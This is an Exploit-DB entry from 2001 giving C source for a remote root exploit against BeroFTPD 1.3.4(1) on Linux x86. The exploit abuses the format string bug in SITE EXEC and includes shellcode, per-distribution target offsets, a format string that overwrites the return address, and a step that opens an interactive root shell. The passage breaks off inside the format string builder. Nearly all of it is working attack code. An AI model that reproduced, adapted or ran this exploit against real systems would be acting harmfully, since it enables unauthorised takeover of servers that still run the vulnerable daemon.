Exploit-DB #269
Description: BeroFTPD 1.3.4(1) (Linux x86) - Remote Code Execution
Type: remote
Platform: linux_x86
Date: 2001-05-08
Author: qitest1

Exploit:
/*  
 *  BeroFTPD 1.3.4(1) Linux x86 remote root exploit 
 *  by qitest1 - 5/05/2001
 *
 *  BeroFTPD is an ftpd derived from wuftpd sources. This code
 *  exploits the format bug of the site exec cmd, well known to be
 *  present in wuftpd-2.6.0 and derived daemons. BeroFTPD 1.3.4(1) 
 *  is the current version at the moment.    
 *  
 *  JUST SAMPLE CODE. For different platforms you have to try with
 *  different offsets for different retaddrs. You see.. =)   
 *
 *  Greets: Nail, Norby, Berserker.
 *  69 rulez.. ;P
 */

#include <stdio.h> 
#include <stdlib.h> 
#include <getopt.h>
#include <errno.h> 
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>

struct targ
{
   int			def;
   char 		*descr;
   unsigned long int 	enbuf;
   int			dawlen;
};

struct targ target[]=
    {			
      {0, "RedHat 6.2 with BeroFTPD 1.3.4(1) from tar.gz", 0xded, 6},
      {1, "Slackware 7.0 with BeroFTPD 1.3.4(1) from tar.gz", 0x1170, 12}, 
      {2, "Mandrake 7.1 with BeroFTPD 1.3.4(1) from rpm", 0xdf1, 6}, 
      {69, NULL, 0, 0}
    };

  /* 15 byte x86/linux PIC read() shellcode by lorian / teso
   */
unsigned char shellcode_read[] =
        "\x33\xdb"              /* xorl %ebx, %ebx      */
        "\xf7\xe3"              /* mull %ebx            */
        "\xb0\x03"              /* movb $3, %al         */
        "\x8b\xcc"              /* movl %esp, %ecx      */
        "\x68\xb2\x00\xcd\x80"  /* push 0x80CDxxB2      */
        "\xff\xff\xe4";         /* jmp  %esp            */

unsigned char shellcode[] =	/* Lam3rZ code */
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0"
        "\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b"
        "\x5e\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66"
        "\xb9\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01"
        "\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89"
        "\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0"
        "\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
        "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe"
        "\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08"
        "\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0"
        "\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8"
        "\x90\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
        "\x2e\x2e\x31\x31";

char 		  	fmtstr[1024];
int			sock;
int			sel;
int			offset;
unsigned long int       retloc;
unsigned long int 	bufaddr;
unsigned long int	tmpaddr;
	
void 		fmtstr_build(unsigned long int bufaddr, unsigned long int retloc);
void 		xpad_cat (unsigned char *fabuf, unsigned long int addr);
void 		retloc_find(void);
void 		shellami(int sock);
void		login(void);
void		usage(char *progname);
int 		conn2host(char *host, int port);

main(int argc, char *argv[])
{
char		rbuf[1024];
char		*host = NULL;
int 		cnt;

  printf("\n  BeroFTPD 1.3.4(1) exploit by qitest1\n\n");
  if(argc == 1)
	usage(argv[0]);
  while((cnt = getopt(argc,argv,"h:t:o:")) != EOF)
    {
   switch(cnt)
        {
   case 'h':
      host = strdup(optarg);
      break;
   case 't':
     sel = atoi(optarg);       
     break;
   case 'o':
     offset = atoi(optarg);
     break;
   default:
     usage(argv[0]);
     break;
        }
    }

  if(host == NULL)
	usage(argv[0]);

  printf("+Host: %s\n  as: %s\n", host, target[sel].descr);

  printf("+Connecting to %s...\n", host);
  sock = conn2host(host, 21);
  printf("  connected\n");

  printf("+Receiving banner...\n");
  recv(sock, rbuf, 1024, 0);
  printf("%s", rbuf);
  memset(rbuf, 0, 1024);
  printf("  received\n");

  printf("+Logging in...\n");
  login();
  printf("  logged in\n");

  printf("+Searching retloc...\n");
  retloc_find();
  printf("  found: %p\n", retloc);

  printf("+Searching bufaddr...\n");
  bufaddr = tmpaddr + target[sel].enbuf;
  printf("  found: %p + offset = ", bufaddr);
  bufaddr += offset;
  printf("%p\n", bufaddr);  

  printf("+Preparing shellcode...\n");
  shellcode_read[strlen(shellcode_read)] = (unsigned char) strlen(shellcode);
  printf("  shellcode ready\n");

  printf("+Building fmtstr...\n");
  fmtstr_build(bufaddr, retloc);
  printf("  fmtstr builded\n");  
  
  printf("+Sending fmtstr...\n");
  send(sock, fmtstr, strlen(fmtstr), 0);
  printf("  fmtstr sent\n");
  recv(sock, rbuf, 1024, 0);
  sleep(1);
  send(sock, shellcode, strlen(shellcode), 0);
  sleep(2);
  printf("+Entering love mode...\n");  /* Nail teachs.. ;-) */
  shellami(sock);  

}

void
fmtstr_build(unsigned long int bufaddr, unsigned long int retloc)
{
int               i;
int		  eat = 136;
int               wlen = 428;
int               tow;
int               freespz;
char		  f[1024];
unsigned long int soul69 = 0x69696969;  /* That's amore.. =) */
unsigned char     retaddr[4];

  for(i = 0; i < 4; ++i)
	retaddr[i] = (bufaddr >> (i << 3)) & 0xff;

  wlen -= target[sel].dawlen;
  f[0] = 0;
  for(i = 0; i < eat; i++)
        strcat(f, "%.f");

  strcat(fmtstr, "SITE EXEC ");
  strcat(fmtstr, "  ");
  xpad_cat(fmtstr, retloc);
  xpad_cat(fmtstr, soul69);
  xpad_cat(fmtstr, retloc + 1);
  xpad_cat(fmtstr, soul69);
  xpad_cat(fmtstr, retloc + 2);
  xpad_cat(fmtstr, soul69);
  xpad_cat(fmtstr, retloc + 3);
  strcat(fmtstr, f);
  strcat(fmtstr, "%x");

  /* Code by teso
   */
  tow = ((retaddr[0] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow += 0x100;     
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;

  tow = ((retaddr[1] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow += 0x100;
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;

  tow = ((retaddr[2] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow += 0x100;
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;

  tow = ((retaddr[3] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow